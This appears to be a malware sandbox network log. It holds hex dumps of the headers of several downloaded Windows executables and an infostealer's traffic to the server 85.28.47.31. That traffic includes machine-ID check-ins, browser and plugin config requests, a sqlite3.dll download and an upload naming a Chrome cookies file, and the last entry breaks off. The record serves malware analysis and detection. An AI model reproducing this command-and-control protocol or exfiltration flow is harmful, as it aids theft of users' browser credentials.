Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 07:25:11 GMTContent-Type: application/octet-streamContent-Length: 1876480Last-Modified: Sat, 27 Jul 2024 06:54:41 GMTConnection: keep-aliveETag: "66a499b1-1ca200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 f9 d2 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 57 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 57 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 77 74 67 69 75 79 6e 00 90 19 00 00 d0 30 00 00 8a 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 72 62 79 7a 70 77 63 00 10 00 00 00 60 4a 00 00 04 00 00 00 7c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4a 00 00 22 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 07:25:13 GMTContent-Type: application/octet-streamContent-Length: 1897984Last-Modified: Sat, 27 Jul 2024 06:55:15 GMTConnection: keep-aliveETag: "66a499d3-1cf600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4b 00 00 04 00 00 1c 10 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 76 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 76 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 63 78 73 66 7a 68 73 00 e0 19 00 00 a0 31 00 00 da 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6c 7a 66 6b 64 61 63 00 10 00 00 00 80 4b 00 00 06 00 00 00 ce 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4b 00 00 22 00 00 00 d4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 07:25:13 GMTContent-Type: application/octet-streamContent-Length: 1897984Last-Modified: Sat, 27 Jul 2024 06:55:15 GMTConnection: keep-aliveETag: "66a499d3-1cf600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4b 00 00 04 00 00 1c 10 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 76 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 76 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 63 78 73 66 7a 68 73 00 e0 19 00 00 a0 31 00 00 da 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6c 7a 66 6b 64 61 63 00 10 00 00 00 80 4b 00 00 06 00 00 00 ce 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4b 00 00 22 00 00 00 d4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 07:26:05 GMTContent-Type: application/octet-streamContent-Length: 250368Last-Modified: Sat, 27 Jul 2024 07:22:24 GMTConnection: keep-aliveETag: "66a4a030-3d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 64 67 94 73 20 06 fa 20 20 06 fa 20 20 06 fa 20 4f 70 51 20 3b 06 fa 20 4f 70 64 20 30 06 fa 20 4f 70 50 20 44 06 fa 20 29 7e 69 20 2b 06 fa 20 20 06 fb 20 55 06 fa 20 4f 70 55 20 21 06 fa 20 4f 70 60 20 21 06 fa 20 4f 70 67 20 21 06 fa 20 52 69 63 68 20 06 fa 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 ad 62 40 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 78 03 02 00 00 00 00 f9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 08 5b 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 59 02 00 78 00 00 00 00 c0 04 02 08 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 59 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 53 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 90 18 02 00 00 10 00 00 00 1a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 4a 33 00 00 00 30 02 00 00 34 00 00 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 2e 02 02 00 70 02 00 00 dc 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 6f 77 6f 00 00 00 d3 02 00 00 00 a0 04 02 00 04 00 00 00 2e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 6e 61 64 65 00 00 00 00 04 00 00 00 b0 04 02 00 04 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 08 9a 00 00 00 c0 04 02 00 9c 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 07:26:08 GMTContent-Type: application/octet-streamContent-Length: 3248128Last-Modified: Sat, 27 Jul 2024 06:53:52 GMTConnection: keep-aliveETag: "66a49980-319000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 63 99 a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 f8 81 af 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 af 00 00 04 00 00 db a2 12 00 02 00 40 80 00 00 80 00 00 20 00 00 00 00 80 00 00 20 00 00 00 00 00 00 10 00 00 00 50 40 8d 00 2b 0e 00 00 7c 4e 8d 00 4c 04 00 00 00 d0 12 00 e8 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 40 8d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 8d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 09 00 00 10 00 00 00 00 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 03 00 00 c0 09 00 00 f2 00 00 00 04 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 0c 00 00 04 00 00 00 f6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 05 00 00 40 0d 00 00 f6 04 00 00 fa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 50 12 00 00 62 00 00 00 f0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 90 00 00 00 d0 12 00 00 8e 00 00 00 52 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 b0 79 00 00 60 13 00 00 28 03 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 90 22 00 00 10 8d 00 00 88 22 00 00 08 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBKHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 41 41 32 45 43 42 43 45 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 2d 2d 0d 0a Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="hwid"25AA2ECBCE684217651120------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="build"sila------EHDGIJJDGCBKFIDHIEBK--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJDGCGDAAAKECAKKJDHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------FBKJDGCGDAAAKECAKKJDContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------FBKJDGCGDAAAKECAKKJDContent-Disposition: form-data; name="message"browsers------FBKJDGCGDAAAKECAKKJD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="message"plugins------KEGCBFCBFBKFHIECAFCF--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEGHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 2d 2d 0d 0a Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="message"fplugins------HJJJDAEGIDHCBFHJJJEG--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGIJKFIJDAAAKFHIEGHost: 85.28.47.31Content-Length: 7495Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJKFBGIIJJKFIJDBGHost: 85.28.47.31Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 